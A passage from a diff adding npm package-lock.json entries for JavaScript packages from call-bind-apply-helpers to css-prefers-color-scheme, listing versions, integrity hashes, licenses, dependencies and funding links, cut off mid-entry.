"node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/call-bound": { + "version": "1.0.4", + "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "get-intrinsic": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/camel-case": { + "version": "4.1.2", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "license": "MIT", + "dependencies": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, + "node_modules/camelcase": { + "version": "6.3.0", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/caniuse-api": { + "version": "3.0.0", + "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.0.0", + "caniuse-lite": "^1.0.0", + "lodash.memoize": "^4.1.2", + "lodash.uniq": "^4.5.0" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001806", + "integrity": "sha512-72Cuvd95zbSYPKq6Fhg8eDJRlzgWDf7/mtoZv6Qe/DYNCEBdNxoA3+rZAU2ZhGCpZlns3EssFavaZomckT5Uuw==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "CC-BY-4.0" + }, + "node_modules/ccount": { + "version": "2.0.1", + "integrity": "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/chalk": { + "version": "4.1.2", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/char-regex": { + "version": "1.0.2", + "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/character-entities": { + "version": "2.0.2", + "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-html4": { + "version": "2.1.0", + "integrity": "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-legacy": { + "version": "3.0.0", + "integrity": "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-reference-invalid": { + "version": "2.0.1", + "integrity": "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/cheerio": { + "version": "1.0.0-rc.12", + "integrity": "sha512-VqR8m68vM46BNnuZ5NtnGBKIE/DfN0cRIzg9n40EIq9NOv90ayxLBXA8fXC5gquFRGJSTRqBq25Jt2ECLR431Q==", + "license": "MIT", + "dependencies": { + "cheerio-select": "^2.1.0", + "dom-serializer": "^2.0.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1", + "htmlparser2": "^8.0.1", + "parse5": "^7.0.0", + "parse5-htmlparser2-tree-adapter": "^7.0.0" + }, + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/cheeriojs/cheerio?sponsor=1" + } + }, + "node_modules/cheerio-select": { + "version": "2.1.0", + "integrity": "sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g==", + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0", + "css-select": "^5.1.0", + "css-what": "^6.1.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/chokidar": { + "version": "3.6.0", + "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", + "license": "MIT", + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chrome-trace-event": { + "version": "1.0.4", + "integrity": "sha512-rNjApaLzuwaOTjCiT8lSDdGN1APCiqkChLMJxJPWLunPAt5fy8xgU9/jNOchV84wfIxrA0lRQB7oCT8jrn/wrQ==", + "license": "MIT", + "engines": { + "node": ">=6.0" + } + }, + "node_modules/ci-info": { + "version": "3.9.0", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/classnames": { + "version": "2.5.1", + "integrity": "sha512-saHYOzhIQs6wy2sVxTM6bUDsQO4F50V9RQ22qBpEdCW+I+/Wmke2HOl6lS6dTpdxVhb88/I6+Hs+438c3lfUow==", + "license": "MIT" + }, + "node_modules/clean-css": { + "version": "5.3.3", + "integrity": "sha512-D5J+kHaVb/wKSFcyyV75uCn8fiY4sV38XJoe4CUyGQ+mOU/fMVYUdH1hJC+CJQ5uY3EnW27SbJYS4X8BiLrAFg==", + "license": "MIT", + "dependencies": { + "source-map": "~0.6.0" + }, + "engines": { + "node": ">= 10.0" + } + }, + "node_modules/clean-css/node_modules/source-map": { + "version": "0.6.1", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/clean-stack": { + "version": "2.2.0", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/cli-boxes": { + "version": "3.0.0", + "integrity": "sha512-/lzGpEWL/8PfI0BmBOPRwp0c/wFNX1RdUML3jK/RcSBA9T8mZDdQpqYBKtCFTOfQbwPqWEOpjqW+Fnayc0969g==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-table3": { + "version": "0.6.5", + "integrity": "sha512-+W/5efTR7y5HRD7gACw9yQjqMVvEMLBHmboM/kPWam+H+Hmyrgjh6YncVKK122YZkXrLudzTuAukUw9FnMf7IQ==", + "license": "MIT", + "dependencies": { + "string-width": "^4.2.0" + }, + "engines": { + "node": "10.* || >= 12.*" + }, + "optionalDependencies": { + "@colors/colors": "1.5.0" + } + }, + "node_modules/cli-table3/node_modules/emoji-regex": { + "version": "8.0.0", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT" + }, + "node_modules/cli-table3/node_modules/string-width": { + "version": "4.2.3", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/clone-deep": { + "version": "4.0.1", + "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==", + "license": "MIT", + "dependencies": { + "is-plain-object": "^2.0.4", + "kind-of": "^6.0.2", + "shallow-clone": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/clsx": { + "version": "2.1.1", + "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/collapse-white-space": { + "version": "2.1.0", + "integrity": "sha512-loKTxY1zCOuG4j9f6EPnuyyYkf58RnhhWTvRoZEokgB+WbdXehfjFviyOVYkqzEWz1Q5kRiZdBYS5SwxbQYwzw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/colord": { + "version": "2.9.3", + "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==", + "license": "MIT" + }, + "node_modules/colorette": { + "version": "2.0.20", + "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==", + "license": "MIT" + }, + "node_modules/combine-promises": { + "version": "1.2.0", + "integrity": "sha512-VcQB1ziGD0NXrhKxiwyNbCDmRzs/OShMs2GqW2DlU2A/Sd0nQxE1oWDAE5O0ygSx5mgQOn9eIFh7yKPgFRVkPQ==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/comma-separated-tokens": { + "version": "2.0.3", + "integrity": "sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/commander": { + "version": "5.1.0", + "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==", + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/common-path-prefix": { + "version": "3.0.0", + "integrity": "sha512-QE33hToZseCH3jS0qN96O/bSh3kaw/h+Tq7ngyY9eWDUnTlTNUyqfqvCXioLe5Na5jFsL78ra/wuBU4iuEgd4w==", + "license": "ISC" + }, + "node_modules/compressible": { + "version": "2.0.18", + "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==", + "license": "MIT", + "dependencies": { + "mime-db": ">= 1.43.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/compressible/node_modules/mime-db": { + "version": "1.54.0", + "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/compression": { + "version": "1.8.1", + "integrity": "sha512-9mAqGPHLakhCLeNyxPkK4xVo746zQ/czLH1Ky+vkitMnWfWZps8r0qXuwhwizagCRttsL4lfG4pIOvaWLpAP0w==", + "license": "MIT", + "dependencies": { + "bytes": "3.1.2", + "compressible": "~2.0.18", + "debug": "2.6.9", + "negotiator": "~0.6.4", + "on-headers": "~1.1.0", + "safe-buffer": "5.2.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/compression/node_modules/bytes": { + "version": "3.1.2", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/compression/node_modules/debug": { + "version": "2.6.9", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/compression/node_modules/ms": { + "version": "2.0.0", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "license": "MIT" + }, + "node_modules/concat-map": { + "version": "0.0.1", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "license": "MIT" + }, + "node_modules/config-chain": { + "version": "1.1.13", + "integrity": "sha512-qj+f8APARXHrM0hraqXYb2/bOVSV4PvJQlNZ/DVj0QrmNM2q2euizkeuVckQ57J+W0mRH6Hvi+k50M4Jul2VRQ==", + "license": "MIT (https://raw.githubusercontent.com/dominictarr/config-chain/master/LICENCE)", + "dependencies": { + "ini": "^1.3.4", + "proto-list": "~1.2.1" + } + }, + "node_modules/config-chain/node_modules/ini": { + "version": "1.3.8", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "license": "ISC" + }, + "node_modules/configstore": { + "version": "6.0.0", + "integrity": "sha512-cD31W1v3GqUlQvbBCGcXmd2Nj9SvLDOP1oQ0YFuLETufzSPaKp11rYBsSOm7rCsW3OnIRAFM3OxRhceaXNYHkA==", + "license": "BSD-2-Clause", + "dependencies": { + "dot-prop": "^6.0.1", + "graceful-fs": "^4.2.6", + "unique-string": "^3.0.0", + "write-file-atomic": "^3.0.3", + "xdg-basedir": "^5.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/yeoman/configstore?sponsor=1" + } + }, + "node_modules/connect-history-api-fallback": { + "version": "2.0.0", + "integrity": "sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==", + "license": "MIT", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/consola": { + "version": "3.4.2", + "integrity": "sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA==", + "license": "MIT", + "engines": { + "node": "^14.18.0 || >=16.10.0" + } + }, + "node_modules/content-disposition": { + "version": "0.5.2", + "integrity": "sha512-kRGRZw3bLlFISDBgwTSA1TMBFN6J6GWDeubmDE3AF+3+yXL8hTWv8r5rkLbqYXY4RjPk/EzHnClI3zQf1cFmHA==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "license": "MIT" + }, + "node_modules/cookie": { + "version": "0.7.2", + "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.7", + "integrity": "sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA==", + "license": "MIT" + }, + "node_modules/copy-text-to-clipboard": { + "version": "3.2.2", + "integrity": "sha512-T6SqyLd1iLuqPA90J5N4cTalrtovCySh58iiZDGJ6FGznbclKh4UI+FGacQSgFzwKG77W7XT5gwbVEbd9cIH1A==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/copy-webpack-plugin": { + "version": "11.0.0", + "integrity": "sha512-fX2MWpamkW0hZxMEg0+mYnA40LTosOSa5TqZ9GYIBzyJa9C3QUaMPSE2xAi/buNr8u89SfD9wHSQVBzrRa/SOQ==", + "license": "MIT", + "dependencies": { + "fast-glob": "^3.2.11", + "glob-parent": "^6.0.1", + "globby": "^13.1.1", + "normalize-path": "^3.0.0", + "schema-utils": "^4.0.0", + "serialize-javascript": "^6.0.0" + }, + "engines": { + "node": ">= 14.15.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.1.0" + } + }, + "node_modules/copy-webpack-plugin/node_modules/glob-parent": { + "version": "6.0.2", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/copy-webpack-plugin/node_modules/globby": { + "version": "13.2.2", + "integrity": "sha512-Y1zNGV+pzQdh7H39l9zgB4PJqjRNqydvdYCDG4HFXM4XuvSaQQlEc91IU1yALL8gUTDomgBAfz3XJdmUS+oo0w==", + "license": "MIT", + "dependencies": { + "dir-glob": "^3.0.1", + "fast-glob": "^3.3.0", + "ignore": "^5.2.4", + "merge2": "^1.4.1", + "slash": "^4.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/copy-webpack-plugin/node_modules/slash": { + "version": "4.0.0", + "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/core-js": { + "version": "3.49.0", + "integrity": "sha512-es1U2+YTtzpwkxVLwAFdSpaIMyQaq0PBgm3YD1W3Qpsn1NAmO3KSgZfu+oGSWVu6NvLHoHCV/aYcsE5wiB7ALg==", + "hasInstallScript": true, + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-js-compat": { + "version": "3.49.0", + "integrity": "sha512-VQXt1jr9cBz03b331DFDCCP90b3fanciLkgiOoy8SBHy06gNf+vQ1A3WFLqG7I8TipYIKeYK9wxd0tUrvHcOZA==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.28.1" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-util-is": { + "version": "1.0.3", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", + "license": "MIT" + }, + "node_modules/cosmiconfig": { + "version": "8.3.6", + "integrity": "sha512-kcZ6+W5QzcJ3P1Mt+83OUv/oHFqZHIx8DuxG6eZ5RGMERoLqp4BuGjhHLYGK+Kf5XVkQvqBSmAy/nGWN3qDgEA==", + "license": "MIT", + "dependencies": { + "import-fresh": "^3.3.0", + "js-yaml": "^4.1.0", + "parse-json": "^5.2.0", + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/d-fischer" + }, + "peerDependencies": { + "typescript": ">=4.9.5" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/crypto-random-string": { + "version": "4.0.0", + "integrity": "sha512-x8dy3RnvYdlUcPOjkEHqozhiwzKNSq7GcPuXFbnyMOCHxX8V3OgIg/pYuabl2sbUPfIJaeAQB7PMOK8DFIdoRA==", + "license": "MIT", + "dependencies": { + "type-fest": "^1.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/crypto-random-string/node_modules/type-fest": { + "version": "1.4.0", + "integrity": "sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==", + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/css-blank-pseudo": { + "version": "7.0.1", + "integrity": "sha512-jf+twWGDf6LDoXDUode+nc7ZlrqfaNphrBIBrcmeP3D8yw1uPaix1gCC8LUQUGQ6CycuK2opkbFFWFuq/a94ag==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "postcss-selector-parser": "^7.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/css-blank-pseudo/node_modules/postcss-selector-parser": { + "version": "7.1.4", + "integrity": "sha512-HeP7D2wyhkR+XaK6v4W8oRF62Dsz4flyuczALJp61GckGm42u1saSSJ/0auvcBqxs3jMRFEcPK34At/0JBKdOg==", + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/css-declaration-sorter": { + "version": "7.4.0", + "integrity": "sha512-LTuzjPoyA2vMGKKcaOqKSp7Ub2eGrNfKiZH4LpezxpNrsICGCSFvsQOI29psISxNZtaXibkC2CXzrQ5enMeGGw==", + "license": "ISC", + "engines": { + "node": "^14 || ^16 || >=18" + }, + "peerDependencies": { + "postcss": "^8.0.9" + } + }, + "node_modules/css-has-pseudo": { + "version": "7.0.3", + "integrity": "sha512-oG+vKuGyqe/xvEMoxAQrhi7uY16deJR3i7wwhBerVrGQKSqUC5GiOVxTpM9F9B9hw0J+eKeOWLH7E9gZ1Dr5rA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/selector-specificity": "^5.0.0", + "postcss-selector-parser": "^7.0.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/css-has-pseudo/node_modules/@csstools/selector-specificity": { + "version": "5.0.0", + "integrity": "sha512-PCqQV3c4CoVm3kdPhyeZ07VmBRdH2EpMFA/pd9OASpOEC3aXNGoqPDAZ80D0cLpMBxnmk0+yNhGsEx31hq7Gtw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss-selector-parser": "^7.0.0" + } + }, + "node_modules/css-has-pseudo/node_modules/postcss-selector-parser": { + "version": "7.1.4", + "integrity": "sha512-HeP7D2wyhkR+XaK6v4W8oRF62Dsz4flyuczALJp61GckGm42u1saSSJ/0auvcBqxs3jMRFEcPK34At/0JBKdOg==", + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/css-loader": { + "version": "6.11.0", + "integrity": "sha512-CTJ+AEQJjq5NzLga5pE39qdiSV56F8ywCIsqNIRF0r7BDgWsN25aazToqAFg7ZrtA/U016xudB3ffgweORxX7g==", + "license": "MIT", + "dependencies": { + "icss-utils": "^5.1.0", + "postcss": "^8.4.33", + "postcss-modules-extract-imports": "^3.1.0", + "postcss-modules-local-by-default": "^4.0.5", + "postcss-modules-scope": "^3.2.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.2.0", + "semver": "^7.5.4" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "@rspack/core": "0.x || 1.x", + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "@rspack/core": { + "optional": true + }, + "webpack": { + "optional": true + } + } + }, + "node_modules/css-minimizer-webpack-plugin": { + "version": "5.0.1", + "integrity": "sha512-3caImjKFQkS+ws1TGcFn0V1HyDJFq1Euy589JlD6/3rV2kj+w7r5G9WDMgSHvpvXHNZ2calVypZWuEDQd9wfLg==", + "license": "MIT", + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.18", + "cssnano": "^6.0.1", + "jest-worker": "^29.4.3", + "postcss": "^8.4.24", + "schema-utils": "^4.0.1", + "serialize-javascript": "^6.0.1" + }, + "engines": { + "node": ">= 14.15.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "@parcel/css": { + "optional": true + }, + "@swc/css": { + "optional": true + }, + "clean-css": { + "optional": true + }, + "csso": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "lightningcss": { + "optional": true + } + } + }, + "node_modules/css-prefers-color-scheme": { + "version": "10.0.0", + "integrity": "sha512-VCtXZAWivRglTZditUfB4StnsWr6YVZ2PRtuxQLKTNRdtAf8tpzaVPE9zXIF3VaSc7O70iK/j1+NXxyQCqdPjQ==", + "funding": [ + { + "type": "github", + "url": 